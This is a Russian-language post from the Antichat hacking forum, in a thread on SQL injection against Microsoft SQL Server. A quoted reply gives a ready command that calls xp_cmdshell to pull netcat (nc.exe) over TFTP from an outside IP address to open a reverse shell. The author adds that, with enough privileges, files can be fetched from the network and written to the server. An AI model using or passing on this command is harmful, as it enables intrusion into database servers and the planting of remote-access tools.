Форум АНТИЧАТ - Показать сообщение отдельно - Провидение Иньекций в MSSQL сервер от Microsoft.

Цитата:

Сообщение от 1ten0.0net1

Не забываем, что можно для сеанса обратной связи юзать telnet с указанием порта. Если же доступа к telnet нет, можно исользовать вот такую интересную процедуру:
exec master.dbo.xp_cmdshell 'tftp -i 76.34.63.23 GET nc.exe'
Таким образом, соответственно, можно закачивать нужные файлы с tftp сервера.

P. S. TFTP не поддерживает аутентификацию.

да можно, 1ten0.0net1, вобще много что можно
добиться даже без использования системных процедур

Цитата:

Дайте мне точку опоры - и я переверну Землю (Архимед)

главное были бы соответствующие права, а их к большому сожелению, часто не хватает, вот и приходится крутиться, а начет фтп серверов и иже с ними недолго сделать , что бы средствами комманд скачать из сети что нибудь и записать это куда надо, повторюсь, для этого нужны соответствующие права